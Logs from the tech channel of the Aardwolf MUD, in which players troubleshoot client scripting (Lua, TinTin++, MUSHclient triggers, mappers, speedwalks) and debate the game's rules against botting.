T3/r7/2013-02-03.txt.gz:{chan ch=tech}Remarto Tech: i cannot find a lua split function..
T3/r7/2013-02-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: http://lua-users.org/wiki/SplitJoin
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: The first argument wants a reference to the string, you could also do string::split(str, ",")
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Remarto rapidly nods twice at Mendaloth, in complete agreement.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Bast Tech: in mushclient, it is utils.split
T3/r7/2013-02-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: so apparently because of how i save my variable or something, i cant manulipate it like i want to be able to =/
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Nunedreek Tech: Some how my aard minimap is not working. I see a mimimap in main window. I don't know how it got there.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Bast Tech: "tags map on"
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Nunedreek Tech: Thanks. No idea how that happen but it's fixed.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with lua i have levelinfo.something = "1,2,3,4,5,6" when i try to manupliate it later, its coming out as a string (that i cant do much with) i would like to set it as another array so i can do as for _,v in pairs(var) do print(v) but insted its printing [null,"1,2,3,4,5,6",5] (no clue where the 5 is coming from either lol) (sorry if im explaining it weird im still trying to learn, and this stupid piece of code has been bugging me for quite some time)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Remarto Tech: didnt you get utils.split working?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im not on mush
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Remarto Tech: Oh
T3/r7/2013-02-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i could do it through cmud, but im trying to avoid doing it that way
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Anyone here use tintin?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Murphisto Tech: I do.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Remarto Tech: well  cannot help 2 much i only know lua through mush
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Mendaloth Tech: Polgana, just ask your question.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: 10 people connected using tintin++ currently
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: I'm writing a con script, and was wondering how to activate and deactivate the #ACTIONS.  I wrote an alias that calls a class with the actions, but I'm not sure how to kil the class after it has finished running the actions.  I'm storing output into a list as well and don't want that killed with the ACTION class terminate.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: tried #T+ and #T-?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ixle Tech: #class <name> kill
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ixle Tech: You should tell people what client you're using :p
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: he did
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ixle Tech: Oh, sorry
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: started with [03 Feb 19:04:31] Polgana Tech: Anyone here use tintin?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ixle Tech: Nod I see it now.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: ixle's got a set of tintin++ scripts for aard in a nice package, btw
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ixle Tech: He's using them.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Where do I kill it though.  #ALIAS {defcon} {#class actionclass read actionclass.tin} and kill it IN the class?  Then I have variable export problems
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ixle Tech: Hrm, for after a set of con's, you might just want to throw an action in the class on a blank line that kills the class.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ixle Tech: #action {^$} {#show Killing the Class;#class actionclass kill}
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ixle Tech: That would go inside the class
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ixle Tech: You may come across a better pattern for killing the class, or use a #delay
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: any recommendations for C ide's?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: for your environment, I'd say visual studio
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Wiki doesn't have them all listed, anyone have a list of the possible responses on death of mobs?  Is it varible by attack type?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Remarto Tech: yeah it varies on what you kill them with
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: you just need the is DEAD!! one
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Remarto Tech: yeah thats the same all round
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Mine doesn't say dead, it says "xxx is slain by a final deadly slash!!"
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Remarto Tech: that and you would need the weapon kills as per weapon type
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Could I just capture "$target is slain.*$"?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Remarto Tech: you would need slain and the is DEAD!
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: what're you trying to do...there are lots of ways to know damage ending, as well as who you're fighting...just to know when you're no longer in combat, look at the change of your position in GMCP (or statmon or option102)...for mobs, you can look at You gain experience or That was a no experience kill, You die, You have been killed, You have been defeated, You retreat from the combat, You flee from combat...
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: The GMCP doesn't work for a combat with multiple mobs, because I will stay in combat I assume.  I now have to find all the options for ending combat which are death, victory, flee, or recall right any others?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: teleport
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: and I suppose retreat.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Remarto rapidly nods twice at Hanslanda, in complete agreement.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Aren't there skills that allow you to "recall" that aren't actually recall?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: word of recall
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ranrr Tech: mobprogs
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: word of recall, not sure if that looks the same as a real recall, though.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: by flee are you refering to player or mob?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: both
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: both
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: does it matter?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Remarto Tech: doesent some of the bast scripts have a mob death counter you may me able to modify?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: well panic skill induces flee as well
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: that looks like a flee, though.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ranrr Tech: Isn't it easier to check the position? Just check it twice, in case of multiple mobs.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: there's also lasertag and warfare joining, but dunno if they're allowed while in-combat
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: yup, there are stats scripts available for many clients which already cover stuff like this...you don't have to be using that client to make use of looking at their scripts
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: was asking, if they were looking at specific cases to log them to be honest.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: if you have multiple mobs, I thought the state didn't change because the part of aardcode that changes the state fires multiple times before the part that tells you of the change gets told to you.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: for position, it wouldn't change when the first MOB dies and you go on to fighting the second,although the enemy would
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: unless it's multiples of the same mob, then you couldn't tell.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: yup, it used to spam you with in/out/in/out/in/out when you did something like fire breath in kimr's farm
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Ranrr Tech: Oh. Well, then position seems to be the simpler way to check.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: if so there are mobprobs that can do the same thing, the nothing in fens can translocate you to specific rooms within the area out of combat.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: now it'll only update position if your position actually changes
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: it's gotta stay changed for more than like a second iirc
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: lots of those kinds of mobprogs, Ranrr.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: So if I flee a room into another room with agroo mobs, I won't drop my attack flag?  I would think that case it would, SO... As long as I'm in combat I'm IN combat, and if I flee a room combat breaks?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: your state will change, but since the aggros in the other room will immediately attack you might not be told of that change because by then it already changed back.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: I could monitor the vnum of the current room, that would cover just about everything?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: only thing that might mess that up would be self-returning exits.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: can't think of any rooms that have those plus attackable mobs, though.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Malestrom does, trapped in the torrent.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Although it still covers recall and teleport, the only thing it doesn't cover is flee.  I'm okay with that I think.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Hanslanda Tech: erm, if you're fleeing you should be getting the vnum too.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Shifting gears.  Gammon suggests having a pre-installed version of Mush to run under wine.  Is there one anywhere?  Not one listed on the site.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: huh?
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: the aard client doesn't need/care about that...it's not an installer, it's a portable zipfile
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: MushClient is a mud client.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Remarto Tech: and doesent need installing
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: yes, it is what the aardwolf mushclient package is based on, and what the overwhelming majority of players are using
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: and fiendish, the guy that puts together the aardwolf mushclient package, often uses it under wine and has a nice FAQ entry on it on the package's website
T3/r7/2013-02-03.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: https://code.google.com/p/aardwolfclientpackage/
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: hey, there he is :-)
T3/r7/2013-02-03.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: go to the downloads section
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: Polgana D  Thanks that is what I was looking for.
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Tech: that's the package from which the screenshot on the front page of aard's website was taken
T3/r7/2013-02-03.txt.gz:{chan ch=tech}Polgana Tech: Wow, that was easy.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Polgana Tech: Can I import my TinTin map file into MushClient/S&D?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: sure, just write the transform
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Elkore Tech: polgana, practical answer is no you cant
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: How is it stored in TT?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: mushclient's mapper is a sqlite db file, you can create sql statements to create records...the question is whether the tt++ mapfile contains enough information
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Book of Etzli Tech: I suppose you can't just psuedo-generate the missing data?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Polgana Tech: Does the aardwolf mushclient package change tags?  Things don't look right...
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Mokg Tech: yes
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: plugins which use tags will turn on those tags
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: any tags which you don't have a script for, but which are being displayed, you can turn off by typing "tags" to see the name of the tag, then tags <thatone> off
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: anyone around?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Daloran Tech: Nope, nobody here but us chickens
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: well thats encouraging
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Krache Tech: Wait, since when can chickens talk?!
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Daloran Tech: since 1982, when a government experiment went awry.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Daloran Tech: Unfortunately, when it comes to typing they're mostly hunt and peckers.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: so trig question all i'm trying todo is get the you may now quest to trigger in mush so it alerts me and it will fire when i do test trigger but not when the actual line hits
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Daloran Tech: Not sure, Egg. You sure the trigger you're using to test is exactly the message from the mud? no extra spaces or anything?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: yea jsut copy and pasted
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Daloran Tech: Hm. What if you type.... " echo QUEST: You may now quest again. "
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: yea that fired it
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: this kinda stuff makes me miss zmud :P
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: cause the real just hit and nada i jsut dont get it
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Daloran Tech: Do you have a CR at the end of your prompt?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: prompt shouldn't matter.  You only see a prompt when you enter a message
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: and presumably, that message would come after you haven't entered a message for a while
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Daloran Tech: And yet, it's a possability thats whats jamming it up. So I asked 
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: Nods, I suppose.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: test
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: mis
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: i have a %c at the end of my prompts
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: How many times have you seen this message so far without it firing?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: lost count i made the trig days ago
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: Is this notifcation a sound, or what?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: yup
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: and like i said when i do test trigger and even echo the trig line it fire and plays the sound
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: If you go to the trigger window, in the bottom-right corner, it'll tell how many times it's fired.  Does it seem like it might have increased every time you got one of those messages?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: says 7 matches
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: so tahts prolly jsut the times i've manually made it fire
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: Leinei nods.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: Copy/paste the pattern you're matching on?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: QUEST: You may now quest again.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: or regex ^QUEST\: You may now quest again.$
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: tried both
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: You would need to escape the period in the regex one
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: Well, I guess *technically*, you wouldn't.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: Leinei shrugs helplessly.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: yup
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: Might you have some other trigger that's matching on that line, too?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Cizra Tech: I Think : needs no escaping.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: perhaps not, but escaping stuff that doesn't need escaping won't cause any harm
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: Well, unless it's a letter
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Sonshi Tech: I don't suppose you accidentally did something to make it match only on uncoloured lines or something like that?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: nope on match any
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Sonshi Tech: what are you making the trigger do when it fires? If it's play a sound, if something that plays another sound comes immediately after that, it does that instead...
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Sonshi Tech: for me anyway
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: even without the sound i just have it do gt quest time and still didnt fire
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: cause yea i thought the sound might have been a problem
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Sonshi Tech: hmm... what if you do an echo with all the colours and everything?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Leinei Tech: If it's not incrementing the # of matches count, then it's not matching at all
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: tahts interesting i echo it red and nothing but without red and it fires
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Sonshi Tech: hmm...
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: right?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Sonshi Tech: try making a new one from scratch and setting sequence to 1?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: lol it fires on every color but @R
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Sonshi Tech: ha
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: tahts funny wth
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Sonshi Tech: wonder if there's some plugin interfering with it
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Redryn Tech: did you set color codes in the trigger
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Redryn Tech: and inverse it
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: no color in trig no
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Sonshi Tech: did a fresh trigger with sequence set to 1 work?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Well-Done Eggplant Tech: no same thing
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Sonshi Tech: hmm... can't think of anything else. Something must be intercepting that line somehow, like another trigger or a plugin or something...
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Remarto Tech: is it possible with one alias to trigger a couple other alias's and use the triggering line?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Daloran Tech: what do you mean by triggering line? Alias isn't triggered
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Vakieh Tech: Store the line in a variable, then have the aliases access it
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Taralujan Tech: if i am wrining an alias is there any thing i can use to set a comment. that doesnt get passed to the game
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Vakieh Tech: Invdetails can give statmod and resistmod, but help typetags is as yet incomplete - anyone know of any others, and what sort of item might have them?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Dereeg: That depends on your client. I assume you're using aard mush?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: mischan
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Monsttro Tech: does android client use compression by default?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: My mudlet mapper says there is no map or valid position. What does this mean?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Unmappable room i'd assume
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Are you in a maze, chall, or other room that really should allow mapping?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: shouldn't*
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: well, Im in the academy
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Then no, that's not it.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Got a more informative error?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: that's all it says
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: Was I supposed to download a mapper seperate from mudlet?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger shrugs helplessly.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Used mudlet, not aard-mudlet.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: how?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I'd use what you have now, otherwise you'll have to do all the coding yourself for the windows and displays and the likes.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Cizra Tech: MUSHclient, perhaps?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Cizra Tech: Also, who's using Mudlet? I've been making some nice scripts for it!
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Henrib is
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: I am
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: what's the most user friendly mud client?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: mush, hands down
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Cizra Tech: MUSHclient, right now.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tigernuts Tech: zmud
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: ok, I'll try that
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: "user friendly" != "zmud" :P
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tigernuts Tech: how dare you!
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Laughing Airmeith Tech: Zmud is old and buggy
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Cizra Tech: .. but I'm working on a nice set of Mudlet scripts, some of which are already good.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Powerful, buggy, and no-longer-supported ... maybe. But not "user friendly" :P
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Laughing Airmeith Tech: It's not really any worse than Mushclient when you're trying to learn to write triggers and scripts.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: When i see user friendly, i assume you mean the 90% of users who don't actually script and want a nice, working client.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Laughing Airmeith Tech: On the other hand, that lack of current support is a big thing.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Not the 10% who could make anything work for them, really.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Laughing Airmeith Tech: Fair point.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Laughing Airmeith Tech: In that case, the hands-down winner for ones that are still in development is Mush. I think almost everyone is giving up on Cmud
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: tt++/zmud/cmud at least remind me of C-style coding. Mush/Mudlet is more xml based than lua (yeah logic's in lua, but the plugin itself is just a simple xml document) and iMudPro/Blowtorch/JMC are their own beasts to learn.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: *sigh* mischan
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: my speedwalk wont work
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Yeah, that doesn't help us much. What speedwalk was entered, what error was given, and turn on echocommands so you can see what the mud actually recievedc
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: received*
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: I did run 2s8e5ne5n3e and it said "Alas, you cannot go that way three times
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: you hit a wall
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Your speedwalk is wrong. That's all the issue is.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: so how do I use speedwalk?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: how do I make it right?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: First off, they start at recall. Second off, just use runto (still from recall)
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you should use correct directions
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: How would we know? We don't know where you're running to, or from.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: Ah, you have to start from recall?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no. all roads lead to rome
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Use runto though, better than speedwalk
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Henrib Tech: ok thank you
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Slawner Tech: can i hav an example of how to make a trigger on android?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: in regex can you nest capture groups, ie, (you (chant|wardrum|inform)|\w+ (grapevine|commune|cant))?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Nocilis Tech: what do you want to trigger?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Remarto Tech: depends on the client language
T3/r7/2013-02-04.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: yes, hans
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Slawner Tech: idk attack mob automaticaly
T3/r7/2013-02-04.txt.gz:{chan ch=tech}BobTheGreat Tech: That example would be botting.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Remarto Tech: O.o
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: attack triggers are illegal
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: Remarto rapidly nods twice at BobTheGreat, in complete agreement.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Slawner Tech: ok then heal at 40% health
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: Turie autoattacks BobtheGreat
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: seems a tiny bit discordant, though, since we can automate command-stacking for an entire room and not get in trouble.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Arnica Tech: WHAT!
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Nocilis Tech: you cant really do that wi the android client, it cant make any decisions based off of what the triggered text was, only parrot caputre groups
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Vesrai Tech: if you stack the commands with a "kill mob" commands that is botting ans is illegal.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Slawner Tech: example please
T3/r7/2013-02-04.txt.gz:{chan ch=tech}BobTheGreat Tech: Read help botting, Vesrai.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: it's illegal only when your kill commands are targetting mobs in different rooms.  For example, running to a room and having that stack of movement commands end with a bunch of kill commands targeting all the various mobs you know (or merely hope) are there is perfectly fine.  Having it kill all the mobs you know are along the way and then killing all the mobs at the destination...is not okay.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: neither of those two examples are fine, hans
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: why not the first one?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Arnica Tech: Duh, it keeps killing when you walk away
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: because you stacked kill with the run
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: haven't left the room, and it's already agreed that a runto with a kill at the end is fine.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Tech: no, it's agreed exactly the opposite of that, hans
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Xaeris Tech: Hans - where do you see that?
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Book of Etzli Tech: You can stack a room, but you cannot stack kill to run.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Hanslanda Tech: so, in the interests of completion (since I assume it appears as though I just went quiet to avoid the question), there are a few separate conditions where kill-stacking is legal.  First, and which we can discard as irrelevant, is standing in the same room and destroying a reasonable number of mobs contained therein.
T3/r7/2013-02-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Reasonable? You can stack a room of 20 mobs. :p
